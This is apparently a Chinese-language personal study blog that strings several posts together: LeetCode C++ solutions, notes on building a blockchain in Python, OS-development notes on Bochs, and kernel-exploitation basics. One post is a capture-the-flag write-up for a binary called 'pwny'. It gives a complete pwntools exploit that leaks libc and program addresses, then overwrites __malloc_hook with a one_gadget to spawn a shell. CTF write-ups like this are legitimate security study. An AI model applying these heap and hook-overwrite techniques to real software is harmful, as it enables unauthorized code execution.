class Solution {
public:
    int minSubArrayLen(int target, vector<int>& nums) {
        int n = nums.size();
        if(n==0) return 0;
        int ans = INT_MAX;
        for(int i=0;i<n;i++){
            int sum=0;
            for(int j=i;j<n;j++){
                sum+=nums[j];
                if(sum >= target){
                    ans = min(ans,j-i+1);
                    break;
                }
            }
        }
        return ans == INT_MAX ? 0:ans;
    }
};

滑动窗口

我照着第二个进行了修改，差一点点，好吧，题目没好好看，找的是>=的最小长度，wuwu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Solution {
public:
    int minSubArrayLen(int target, vector<int>& nums) {
        int n = nums.size();
        if(n==0) return 0;

        int res=INT_MAX,l=0,r=0;
        int cur_len;
        int windows_plus = 0;
        while(r<n){
            windows_plus+=nums[r];
            while(windows_plus >= target){
                res = min(res,r-l+1);
                windows_plus -= nums[l];
                l++;
            }
            r++;
        }
        return res == INT_MAX? 0: res;
    }
};

第 6 天 广度优先搜索 / 深度优先搜索

200. 岛屿数量

通过dfs，一次可以把一个岛屿置0，然后循环，找到1，则记作1个岛屿，把改岛屿置零

好像做过类似的题，，，，

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class Solution {
public:
void dfs(vector<vector<char>>& grid,int r,int c){
    int nr = grid.size();
    int nc = grid[0].size();

    grid[r][c]='0';//遍历过，置0

    if(r-1 >= 0 && grid[r-1][c]=='1') dfs(grid,r-1,c);
    if(r+1 < nr && grid[r+1][c]=='1') dfs(grid,r+1,c);
    if(c-1 >= 0 && grid[r][c-1]=='1') dfs(grid,r,c-1);
    if(c+1 < nc && grid[r][c+1]=='1') dfs(grid,r,c+1);
}
    int numIslands(vector<vector<char>>& grid) {
        int nr = grid.size();
        if(!nr) return 0;
        int nc = grid[0].size();

        int num_island = 0;
        for(int r=0;r<nr;r++){
            for(int c=0;c<nc;c++){
                if(grid[r][c]=='1'){
                    ++num_island;
                    dfs(grid,r,c);
                }
            }
        }
        return num_island;
    }
};

广度优先

其实和深度优先一样，找到一个1的时候，搜索所有相邻的置零

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class Solution {
public:
    int numIslands(vector<vector<char>>& grid) {
        int nr = grid.size();
        if(!nr) return 0;
        int nc = grid[0].size();

        int num_island = 0;
        for(int r=0;r<nr;r++){
            for(int c=0;c<nc;c++){
                if(grid[r][c]=='1'){
                    ++num_island;
                    grid[r][c]='0';
                    queue<pair<int,int>> neighbors;
                    neighbors.push({r,c});
                    while(!neighbors.empty()){
                        auto rc = neighbors.front();
                        neighbors.pop();
                        int row = rc.first,col = rc.second;
                        if(row-1>=0 && grid[row-1][col]=='1'){
                            neighbors.push({row-1,col});
                            grid[row-1][col]='0';
                        }
                        if(row+1<nr && grid[row+1][col]=='1'){
                            neighbors.push({row+1,col});
                            grid[row+1][col]='0';
                        }
                        if(col-1>=0 && grid[row][col-1]=='1'){
                            neighbors.push({row,col-1});
                            grid[row][col-1]='0';
                        }
                        if(col+1<nc && grid[row][col+1]=='1'){
                            neighbors.push({row,col+1});
                            grid[row][col+1]='0';
                        }
                    }
                }
            }
        }
        return num_island;
    }
};

并查集

发现是一种new算法，没做过的

通过看了视频学习了一下，讲的真好（鼓掌）

视频链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
//固定
class UnionFind {
public:
    UnionFind(vector<vector<char>>& grid){
        count=0;
        int m = grid.size();
        int n = grid[0].size();
        for(int i=0;i<m;i++){
            for(int j=0;j<n;j++){
                if(grid[i][j]=='1'){
                    parent.push_back(i*n+j);
                    ++count;
                }else{
                    parent.push_back(-1);
                }
                rank.push_back(0);
            }
        }
    }
    int find(int i){
        if(parent[i]!=i){
            parent[i]=find(parent[i]);
        }
        return parent[i];
    }
    void unit(int x,int y){
        int rootx = find(x);
        int rooty = find(y);
        if(rootx != rooty){
            if(rank[rootx] < rank[rooty]){
                swap(rootx,rooty);
            }
            parent[rooty]=rootx;
            if(rank[rootx]==rank[rooty]) rank[rootx]+=1;
            --count;
        }
    }
    int getCount() const{
        return count;
    }
private:
    vector<int> parent;
    vector<int> rank;
    int count;
};
class Solution{
public:
    int numIslands(vector<vector<char>>& grid) {
        int nr = grid.size();
        if(!nr) return 0;
        int nc = grid[0].size();
        UnionFind uf(grid);
        for(int r=0;r<nr;r++){
            for(int c=0;c<nc;c++){
                if(grid[r][c]=='1'){
                    grid[r][c]=='0';
                    if(r-1>=0 && grid[r-1][c]=='1') uf.unit(r*nc+c,(r-1)*nc+c);
                    if(r+1<nr && grid[r+1][c]=='1') uf.unit(r*nc+c,(r+1)*nc+c);
                    if(c-1>=0 && grid[r][c-1]=='1') uf.unit(r*nc+c,r*nc+c-1);
                    if(c+1<nc && grid[r][c+1]=='1') uf.unit(r*nc+c,r*nc+c+1);
                }
            }
        }
        return uf.getCount();
    }
};

547. 省份数量

深度优先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Solution {
public:
    void dfs(vector<vector<int>>& isConnected,vector<int>& visited,int provinces,int i){
        for(int j=0;j<provinces;j++){
            if(isConnected[i][j]==1 && !visited[j]){
                visited[j]=1;
                dfs(isConnected,visited,provinces,j);
            }
        }
    }
    int findCircleNum(vector<vector<int>>& isConnected) {
        int provinces = isConnected.size();
        vector<int> visited(provinces);
        int circles=0;
        for(int i=0;i<provinces;i++){
            if(!visited[i]){
                dfs(isConnected,visited,provinces,i);
                circles++;
            }
        }
        return circles;
    }
};

广度优先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Solution {
public:
    int findCircleNum(vector<vector<int>>& isConnected) {
        int provinces = isConnected.size();
        vector<int> visited(provinces);
        int circles=0;
        queue<int> Q;
        for(int i=0;i<provinces;i++){
            if(!visited[i]){
                Q.push(i);
                while(!Q.empty()){
                    int j = Q.front();Q.pop();
                    visited[j]=1;
                    for(int k=0;k<provinces;k++){
                        if(isConnected[j][k]==1 && !visited[k]){
                            Q.push(k);
                        }
                    }
                }
                circles++;
            }
        }
        return circles;
    }
};

并查集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
class Solution {
public:
    int Find(vector<int>& parent,int index){
        if(parent[index]!=index){
            parent[index]=Find(parent,parent[index]);
        }
        return parent[index];
    }
    void Union(vector<int>& parent,int index1,int index2){
        parent[Find(parent,index1)] = Find(parent,index2);
    }
    int findCircleNum(vector<vector<int>>& isConnected) {
        int provinces = isConnected.size();
        vector<int> parent(provinces);
        for(int i=0;i<provinces;i++){
            parent[i]=i;
        }
        for(int i=0;i<provinces;i++){
            for(int j=i+1;j<provinces;j++){
                if(isConnected[i][j]==1){
                    Union(parent,i,j);
                }
            }
        }
        int circles=0;
        for(int i=0;i<provinces;i++){
            if(parent[i]==i){
                circles++;
            }
        }
        return circles;
    }
};

第 7 天 广度优先搜索 / 深度优先搜索

117. 填充每个节点的下一个右侧节点指针 II

广度优先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Solution {
public:
    Node* connect(Node* root) {
        if (!root) {
            return nullptr;
        }
        queue<Node*> q;
        q.push(root);
        while (!q.empty()) {
            int n = q.size();
            Node *last = nullptr;
            for (int i = 1; i <= n; ++i) {
                Node *f = q.front();
                q.pop();
                if (f->left) {
                    q.push(f->left);
                }
                if (f->right) {
                    q.push(f->right);
                }
                if (i != 1) {
                    last->next = f;
                }
                last = f;
            }
        }
        return root;
    }
};

使用已经建立的next指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/*
// Definition for a Node.
class Node {
public:
    int val;
    Node* left;
    Node* right;
    Node* next;

    Node() : val(0), left(NULL), right(NULL), next(NULL) {}

    Node(int _val) : val(_val), left(NULL), right(NULL), next(NULL) {}

    Node(int _val, Node* _left, Node* _right, Node* _next)
        : val(_val), left(_left), right(_right), next(_next) {}
};
*/

class Solution {
public:
    void handle(Node* &last,Node* &p,Node* &nextStart){
        if(last){
            last->next=p;
        }
        if(!nextStart){
            nextStart=p;
        }
        last=p;
    }
    Node* connect(Node* root) {
        if(!root){
            return nullptr;
        }
        Node* start = root;
        while(start){
            Node* last = nullptr,*nextStart = nullptr;
            for(Node* p = start;p!=nullptr;p = p->next){
                if(p->left){
                    handle(last,p->left,nextStart);
                }
                if(p->right){
                    handle(last,p->right,nextStart);
                }
            }
            start = nextStart;
        }
        return root;
    }
};

572. 另一棵树的子树

深度优先+暴力

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
 * Definition for a binary tree node.
 * struct TreeNode {
 *     int val;
 *     TreeNode *left;
 *     TreeNode *right;
 *     TreeNode() : val(0), left(nullptr), right(nullptr) {}
 *     TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}
 *     TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {}
 * };
 */
class Solution {
public:
    bool check(TreeNode* root,TreeNode* subRoot){
        if(!root && !subRoot) return true;
        if((root && !subRoot) || (!root && subRoot) || (root->val != subRoot->val)){
            return false;
        }
        return check(root->left,subRoot->left) && check(root->right,subRoot->right);
    }
    bool dfs(TreeNode* root,TreeNode* subRoot){
        if(!root) return false;
        return check(root,subRoot) || dfs(root->left,subRoot) || dfs(root->right,subRoot);
    }
    bool isSubtree(TreeNode* root, TreeNode* subRoot) {
        return dfs(root,subRoot);
    }
};

发表于 更新于 分类于

来自Learn Blockchain by Building One的笔记

书本笔记

image-20210801195944516

chapter 1

主要就是讲工具安装（环境搭建）和一个小例子。

工具

安装python、poetry

poetry

poetry：管理python项目依赖关系

1
2
3
poetry new my-project	#用Poetry创建一个Python项目
poetry add requests		#用Poetry添加python的依赖
poetry shell			#Python解释器是不是在Poetry的virtualenv中

example

获得比特币价格

1
2
3
import requests
response = requests.get("https://api.coinbase.com/v2/prices/spot?currency=USD")
print(response.text)

image-20210731164527928

chapter 2

主要讲hash，题目是“A Way to Identify
Everything”，也就是用hash可以验证发送的数据是否被修改

hash

Example

1 Hashing in Python

文字的hash

1
2
3
4
5
6
import hashlib
# Hash functions expect bytes as input: the encode() method turns strings to bytes
input_bytes = b"backpack"
output = hashlib.sha256(input_bytes)
# We use hexdigest() to convert bytes to hex because it's easier to read
print(output.hexdigest())

image-20210731164818639

2 Hashing images

图片的hash

1
2
3
4
5
from hashlib import sha256
file = open("my_image.jpg", "rb")
hash = sha256(file.read()).hexdigest()
file.close()
print(f"The hash of my file is: {hash}")

image-20210731165008111

3 Sending untamperable emails

加了一部分密文，hash

1
2
3
4
5
6
7
from hashlib import sha256
secret_phrase = "bolognese"
def get_hash_with_secret_phrase(input_data, secret_phrase):
    combined = input_data + secret_phrase
    return sha256(combined.encode()).hexdigest()
email_body = "Hey Bob,I think you should learn about Blockchains! I've been investing in Bitcoin and currently have exactly 12.03 BTC in my account."
print(get_hash_with_secret_phrase(email_body,  secret_phrase))

image-20210731165316295

chapter 3

实现区块链的链（修改后的，所以proof_of_work是chapter 4的

  • __init__：一开始创建初始块
  • new_block：创建块
  • hash：对块进行hash
  • last_block：取最后一个块
  • valid_block：判断是否是有效块（前4个是0
  • proof_of_work：一直生成块，知道有效块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#blockchain.py

import json
import random

from datetime import datetime
from hashlib import sha256


class Blockchain(object):
	def __init__(self):
		self.chain=[]
		self.pending_transactions=[]

		#Create the genesis block
		print("Creating genesis block")
		self.chain.append(self.new_block())

	def new_block(self):
		block={
			'index':len(self.chain),
			'timestamp':datetime.utcnow().isoformat(),
			'transactions':self.pending_transactions,
			'previous_hash':self.last_block["hash"] if self.last_block else None,
			'nonce':format(random.getrandbits(64),"x"),
		}


		block_hash = self.hash(block)
		block["hash"] = block_hash


		self.pending_transactions=[]

		return block

	@staticmethod
	def hash(block):

		block_string = json.dumps(block,sort_keys=True).encode()
		return sha256(block_string).hexdigest()

	@property
	def last_block(self):
		
		return self.chain[-1] if self.chain else None

	@staticmethod
	def valid_block(block):

		return block['hash'].startswith("0000")

	def proof_of_work(self):
		while True:
			new_block = self.new_block()
			if self.valid_block(new_block):
				break

		self.chain.append(new_block)
		print("Found a new block: ",new_block)

image-20210731165711500

chapter 4

题目是工作量证明，

工具

ipython

  • 与Python解释器交互的一个很棒的工具

  • 使用制表符补全和语法高亮显示

工作量证明

挖矿：矿工通过找到一个哈希值小于给定值

example

1 easy
1
2
3
4
5
6
7
8
9
from hashlib import sha256

x = 5
y = 0

while sha256(f'{x*y}'.encode()).hexdigest()[-1] != "0":
	y += 1

print(f'The solution is y = {y}')(funcoin-fVGYERd1-py3.8)

image-20210731170111573

2 应用到blockchain

代码同chapter3

image-20210731170314488

chapter 5

讲的网络，首先讲了异步，然后做了一个简单的聊天，类似于区块链中的通信情况。

异步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import asyncio
import time


async def greet(name,delay):
	await asyncio.sleep(delay)
	print(f'{name}:I waited {delay} seconds before saying "hello"')


async def main():
	task_1 = asyncio.create_task(greet("t1",3))
	task_2 = asyncio.create_task(greet("t2",2))
	task_3 = asyncio.create_task(greet("t3",2))

	start_time = time.time()
	print("0.00s: Program Start")

	await task_1
	await task_2
	await task_3

	print(f"{time.time() - start_time:.2f}s: Program End")

asyncio.run(main())

image-20210731171321116

简易聊天系统

构造一个通信，类似于区块链的通信

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import asyncio
from textwrap import dedent


class ConnectionPool:
    def __init__(self):
        self.connection_pool = set()

    def send_welcome_message(self,writer):
        message = dedent(f"""
        ===
        Welcome {writer.nickname}!

        There are {len(self.connection_pool) - 1} user(s) here beside you
       
        Help:
         - Type anything to chat
         - /list will list all the connected users
         - /quit will disconnect you
        ===
        """)

        writer.write(f"{message}/n".encode())

    def broadcast(self,writer,message):
        for user in self.connection_pool:
            if user != writer:
                # We don't need to also broadcast to the user sending the message
                user.write(f"{message}/n".encode())

    def broadcast_user_join(self,writer):
        self.broadcast(writer,f"{writer.nickname} just joined")
    
    def broadcast_user_quit(self,writer):
        self.broadcast(writer,f"{writer.nickname} just quit")

    def broadcast_new_message(self,writer,message):
        self.broadcast(writer,f"[{writer.nickname}] {message}")

    def list_users(self,writer):
        message = "===/n"
        message += "Currently connected users:"
        for user in self.connection_pool:
            if user == writer:
                message += f"/n - {user.nickname} (you)"
            else:
                message += f"/n - {user.nickname}"

        message += "/n==="
        writer.write(f"{message}/n".encode())

    def add_new_user_to_pool(self, writer):
        self.connection_pool.add(writer)

    def remove_user_from_pool(self,writer):
        self.connection_pool.remove(writer)


async def handle_connection(reader,writer):
    # Get a nickname for the new client
    writer.write("> Choose your nickname: ".encode())

    response = await reader.readuntil(b"/n")
    writer.nickname = response.decode().strip()

    connection_pool.add_new_user_to_pool(writer)
    connection_pool.send_welcome_message(writer)

    # Announce the arrival of this new user
    connection_pool.broadcast_user_join(writer)

    while True:
        try:
            data = await reader.readuntil(b"/n")
        except asyncio.exceptions.IncompleteReadError:
            connection_pool.broadcast_user_quit(writer)
            break

        message = data.decode().strip()
        if message == "/quit":
            connection_pool.broadcast_user_quit(writer)
            break
        elif message == "/list":
            connection_pool.list_users(writer)
        else:
            connection_pool.broadcast_new_message(writer,message)
        
        await writer.drain()

        if writer.is_closing():
            break
    
    # We're new outside the message loop, and the user has quit.Let's clean up...
    writer.close()
    await writer.wait_closed()
    connection_pool.remove_user_from_pool(writer)

async def main():
    server = await asyncio.start_server(handle_connection,"0.0.0.0",8888)

    async with server:
        await server.serve_forever()


connection_pool = ConnectionPool()
asyncio.run(main())

image-20210731171000653

image-20210731171014807

image-20210731171025014

image-20210731171036384

chapter 6

加密

example

1 验证数据完整

发送的时候，把原文和sha256加密的东西一起发送过去

验证的时候，对数据sha256，对比值是否相等

alice发生数据给bob

1
2
3
4
from hashlib import sha256
message = "Hello Bob, Let's meet at the Kruger National Park on 2020-12-12 at 1pm."
hash_message = sha256(("p@55w0rd" + message).encode()).hexdigest()
print(hash_message)

bob验证数据未被修改

1
2
3
4
5
6
from hashlib import sha256
alices_message = "Hello Bob, Let's meet at the Kruger National Park on 2020-12-12 at 1pm."
alices_hash = "39aae6ffdb3c0ac1c1cc0f50bf08871a729052cf1133c4c9b44a5bab8fb66211"
hash_message = sha256(("p@55w0rd" + alices_message).encode()).hexdigest()
if hash_message == alices_hash:
    print("Message has not been tampered with")

image-20210731171637680

2 加密传送数据

发送数据：

  • 公钥发送
  • 私钥对数据签名

接收

verify验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import nacl.encoding
import nacl.signing

#Generate a new key-pair for Bob
bobs_private_key = nacl.signing.SigningKey.generate()
bobs_public_key = bobs_private_key.verify_key
print(bobs_public_key)

#Since it's bytes,we'll need to serialize the key to a readable format before publishing it:
bobs_public_key_hex = bobs_public_key.encode(encoder=nacl.encoding.HexEncoder)
print("/n/n")
print(bobs_public_key_hex)
#Now,Let's sign a message with it
signed = bobs_private_key.sign(b"Send $37 to Alice")
print("/n/n")
print(signed)

image-20210731171918053

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import nacl.encoding
import nacl.signing


# From the above example...
bobs_public_key = 'acc5cc1750b841f0b383e5f620282946476c37d602c42b9dbaccb9db758b728e'

# We generate the verify_key
verify_key = nacl.signing.VerifyKey(bobs_public_key,encoder=nacl.encoding.HexEncoder)

signed_message = b"/x8b/x08/x93/xb0/xda!r)/x19i/x18d/xe0/xbbi/x8a@c/xf8-/x8e/xbdr/xb7/xe8%/x0eez/x99/xd2/x0c/xc8/x14_/x8d/x02zWV/x8e/x81/xfb[9/x9b/x9d/x1b/xbb/xda/xe7/x05/x945/xc2/xef~/x17/x90/xfd3'/xc3/x00Send $37 to Alice"

# Now we attempt to verify the message
# Any invalidation will result in an Exception being thrown
verify_key.verify(signed_message)

image-20210731172022526

如果修改bobs_public_key/signed_message为错误的，则

image-20210731172057501

chapter 7

整合

image-20210731172254999

实践

0 完整代码

链接：https://github.com/dvf/blockchain

image-20210807173529463

1 工具安装

安装python（版本3.8）和poetry

1
2
3
4
5
6
7
8
9
10
11
12
$ sudo apt-get update
$ sudo apt-get install python3.8
#ln -s 把python3和python3.8链接

$ curl -sSL https://raw.githubusercontent.com/sdispater/poetry/master/get-poetry.py | python

#安装依赖
poetry add pynacl structlog colorama marshmallow marshmallow-oneofschema aiohttp

pip install pipenv 
pipenv install 
pip install Flask==0.12.2 requests==2.18.4

1启动节点

代码下载后放到服务器上，启动节点

1
2
3
$ pipenv run python blockchain.py			#默认启动端口5000，启动5000端口的节点
$ pipenv run python blockchain.py -p 5001
$ pipenv run python blockchain.py --port 5002

image-20210807171341824

2 使用

访问

访问区块链

1
2
#ip:port/chain 可以访问区块链
http://156.233.254.97:5002/chain

image-20210807171442690

挖矿

1
2
#ip:port/mine
http://156.233.254.97:5002/mine

image-20210807171527803

image-20210807171542372

创建交易

1
2
3
4
5
6
7
8
9
10
11
curl -X POST -H "Content-Type: application/json" -d '{
 "sender": "d4ee26eee15148ee92c6cd394edd974e",
 "recipient": "someone-other-address",
 "amount": 1234
}' "http://156.233.254.97:5004/transactions/new"

curl -X POST -H "Content-Type: application/json" -d '{
 "sender": "d4ee26eee15148ee92c6cd394edd974e",
 "recipient": "someone-other-address",
 "amount": 7979
}' "http://156.233.254.97:5002/transactions/new"

image-20210807171921098

image-20210807172056677

共识机制

5002端口里面有三个块

5003端口开一个，只有一个初始块

image-20210807172258623

将2注册到3上，让5003知道有5002这个节点

1
2
3
4
5
6
7
curl -X POST -H "Content-Type: application/json" -d '{
	"nodes":["156.233.254.97:5002"]
}' "http://156.233.254.97:5003/nodes/register"

curl -X POST -H "Content-Type: application/json" -d '{
	"nodes":["156.233.254.97:5004"]
}' "http://156.233.254.97:5005/nodes/register"

image-20210807172505247

通过共识，5003更新节点跟5002一样

image-20210807172558767

image-20210807172613733

发表于 更新于 分类于

pwny

文件下载

文件 libc
附件 libc

0.检查保护

1
2
3
4
5
6
7
8
9
10
winter@ubuntu:~/ciscn$ file pwny 
pwny: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a14a51d7799ec9c936f0c8096c737470a079001b, stripped
winter@ubuntu:~/ciscn$ checksec pwny 
[*] '/home/winter/ciscn/pwny'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

64位程序，保护全开。

1.程序流程

init

最开始有一个函数，进行初始化操作setvbuf，并且打开一个文件设备’/dev/urandom’，并且将文件描述符存储在了bss上0x202860的位置。

image-20210609103625666

fun_write函数

image-20210609103827543

  1. 请求输入偏移
  2. 偏移存储在v0中
  3. 从文件描述符0x202860中读取数据，存储到v2中
  4. 将v2的值赋值给（0x202060+偏移）的地址

fun_read函数

image-20210609104021390

与fun_write函数类似，只不过最后的赋值变成了，打印（0x202060+偏移）的内容。

2.漏洞利用

函数fun_read和fun_write，都有函数

1
read(byte_202860,&v2,8)

很显然，需要将byte_202860修改为常用0 => 控制v2 => 根据整数溢出，fun_write获得任意地址写，fun_read获得任意地址读。

byte_202860 = 0

看fun_write函数：

首先，byte_202860在qword_202060下面100字节处，所以，只要输入的idx为0x100，那么就可以修改byte_202860的值。

其次，由于v2的值是从/dev/urandom里面读取的，所以第一次修改byte_202860为一个随机值。

但是，如果再来一次，由于上次byte_202860被修改为一个随机值，此时找不到对应的文件描述符，那么，取出来的数都为0，则，v2的值为0，可以再次修改byte_202860的值为0，则成功修改byte_202860为0。

1
2
3
read((unsigned __int8)byte_202860, &v2, 8uLL);
=>
read(0, &v2, 8uLL);

v2的值可以控制，那么就控制了bss上的数据，可以读可以写。

步骤

  • 修改byte_202860=0
  • 读bss上stderr 的地址，泄露libc
  • 读data上off_202008，泄露程序基地址
  • 修改malloc_hook为one_gadget【需要realloc调整栈帧】
  • scanf的时候，读入一个很大的数【‘1’*0x400（格式化参数是ld，要数字才能读入）】，会进行一次malloc
  • getshell

3.完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
# p = process("./pwny")
# ld_path = "/usr/local/glibc-2.27/lib/ld-2.27.so"
# libc_path = "/usr/local/glibc-2.27/lib/libc-2.27.so"
file = "./pwny"
# p = process([ld_path, file],
#             env={"LD_PRELOAD":libc_path})
libc_path = "./libc-2.27.so"
p = process(file,
            env={"LD_PRELOAD":libc_path})
libc = ELF(libc_path)
context.log_level = 'debug'

def cmd(choice):
	p.recvuntil("Your choice: ")
	p.sendline(str(choice))

def fun_read(index):
	cmd(1)
	p.recvuntil("Index: ")
	p.sendline(index)

def fun_write(index):
	cmd(2)
	p.recvuntil("Index: ")
	p.sendline(str(index))

fun_write(0x100)
fun_write(0x100)

fun_read(p64(0xfffffffffffffffc))
p.recvuntil("Result: ")
_IO_2_1_stderr_ = int(p.recv(12).strip(),16)
log.success("_IO_2_1_stderr_:"+hex(_IO_2_1_stderr_))
libc_base = _IO_2_1_stderr_ - libc.sym['_IO_2_1_stderr_']
log.success("libc_base:"+hex(libc_base))

fun_read(p64(0xFFFFFFFFFFFFFFF5))
p.recvuntil("Result: ")
data = int(p.recv(12).strip(),16)
log.success("data:"+hex(data))
pro_base = data -0x202008
log.success("pro_base:"+hex(pro_base))

# gadget = [0x415e6,0x4163a,0xdfac1]
gadget = [0x4f3d5,0x4f432,0x10a41c]
one_gadget = libc_base + gadget[1]
log.success("one_gadget:"+hex(one_gadget))

malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
offset = (malloc_hook - (pro_base + 0x202060)) / 8

fun_write(offset)
p.sendline(p64(realloc+4))

#realloc
fun_write(offset-1)
p.sendline(p64(one_gadget))
# gdb.attach(p)
cmd('1'*0x400)
p.interactive()

lonelywolf

注意：

  1. 本次给的libc是新版的libc
  2. 旧版libc没有检查tcache的double free
  3. 新版有了

2.27堆保护和2.31一样 => 用2.31做 => 换2.29的libc

发表于 分类于

第一章

下载bochs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#下载bochs的2.6.2版本
https://sourceforge.net/projects/bochs/files/bochs/2.6.2/bochs-2.6.2.tar.gz/download?use_mirror=jaist&use_mirror=jaist&r=https%3A%2F%2Fsourceforge.net%2Fprojects%2Fbochs%2Ffiles%2Fbochs%2F2.6.2%2F
#解压
tar -zxvf bochs-2.6.2.tar.gz
#编译
cd bochs-2.6.2/

./configure \
 --prefix=/home/winter/zhen/bochs \
 --enable-debugger \
 --enable-disasm \
 --enable-iodebug \
 --enable-x86-debugger \
 --with-x \
 --with-x11
 
#替换 Makefile 92行为如下语句
LIBS =  -lm -lgtk-x11-2.0 -lgdk-x11-2.0 -lpangocairo-1.0 -latk-1.0 -lcairo -lgdk_pixbuf-2.0 -lgio-2.0 -lpangoft2-1.0 -lpango-1.0 -lgobject-2.0 -lglib-2.0 -lfontconfig -lfreetype -lfontconfig -lgobject-2.0 -lgmodule-2.0 -lglib-2.0 -lpthread

make
make install

第二章

知识点

概念性

  1. CPU的硬件电路被设计成只能运行处于内存中的程序。

  2. 动态：存储介质由于本身电气元件的性质，需要动态刷新【补充电】

  3. CPU可访问的地址 != 物理内存

    CPU提交地址 => 根据地址范围，地址被映射到不同存储设备 => ROM、显存、内存条等

  4. 魔数：没有明确定义的数

  5. $：表示当前行

  6. $$：表示本section的地址

  7. bin文件：纯二进制

BIOS

全称：Base Input & Output System【基本输入输出系统】

主要工作：检测、初始化硬件和建立中断向量表，

  • 是计算机第一个运行的程序

  • 由硬件加载

  • BIOS被加载到ROM低端1MB【0xf0000 ~ 0xfffff】

  • BIOS入口地址：0xffff0【开机时，cs:ip寄存器被强制初始化为0xf000:0xfff0】

    入口地址的指令：jmp far f000:e05b【BIOS代码真正开始的地方】

磁盘扇区表示法

CHS方法
  • 柱面（Cylinder）：所有盘面上，编号相同的磁道集合
  • 磁头（Header）：一张盘有上下两个盘面，一个盘面对应一个磁头 => 使用磁头表示盘面
  • 扇区（Sector）：磁道划分的小区间【扇区编号从1开始】
LBA方法

【扇区编号从0开始】

MBR

  • 主引导记录

  • 存在0盘0道1扇区【磁盘的第一个扇区】

    • 扇区末尾两个字节是0x55和0xaa
    • 物理地址0x7c00【存储于最小内存32KB最后部分，且需保证自身可以运行1KB => 0x8000 - 0x400 = 0x7c00】
    • 大小：必须为512字节 => 保证扇区末尾两个字节是0x55和0xaa

dd命令

用于磁盘操作

1
dd if=读取文件路径 of=输出文件路径 bs=块大小 count=拷贝的块数 conv=notrunc(文件转换方式:不打断文件)

发表于 更新于 分类于

基础知识

这里只是简单记录了一些笔者认为的重点。

概念性

  1. cred => 进程权限结构体
  2. smep => 执行
  3. smap => 访问
  4. MMAP_MIN_ADDR => 允许mmap映射的最低内存地址

  5. LKMs

    1. 相当于内核的可执行程序
    2. 不能单独运行，在运行时被链接到内核
  6. lsmod: 列出已经加载的模块
  7. module_init/module_exit：在载入/卸载这个驱动时自动运行

  8. C99

    1. C编程语言标准的过去版本，扩展了版本 C90
    2. 允许使用可变长度数组
  9. modules：内核扩展模块
  10. bzImage: 压缩的kernel内存映像
  11. vmlinux：未压缩的kernel内存映像
  12. rootfs.cpio: 文件系统映像
  13. alloc_chrdev_region：动态分配设备编号

IRET

1. 相同保护级别

从堆栈弹出

  1. 代码段选择子 => CS寄存器
  2. 指令指针 => IP寄存器
  3. 标志寄存器 => EFLAGS寄存器

不同的保护级别

除了以上3点外，还有

  1. 堆栈段选择子 => SS寄存器
  2. 堆栈指针 => SP寄存器

返回到用户模式

栈上保存了trap frame，用于恢复信息

1
2
3
4
5
6
7
8
struct trap_frame 
{
    void* eip;                // instruction pointer +0
    uint32_t cs;              // code segment   	 +4
    uint32_t eflags;          // CPU flags     		 +8
    void* esp;                // stack pointer       +12
    uint32_t ss;              // stack segment  	 +16
} __attribute__((packed));

thread_info

内核堆栈与thread_info结构共享4k / 8k的总大小

1
2
3
4
union thread_union {
    struct thread_info thread_info;
    unsigned long stack[THREAD_SIZE/sizeof(long)];
};

Click to close image, click and drag to move. Use arrow keys for next and previous.

restart_block

  1. thread_info中的一个成员
  2. 是每个线程的结构
  3. 跟踪信息和参数 => 重新启动系统调用
1
2
struct restart_block {
    long (*fn)(struct restart_block *);

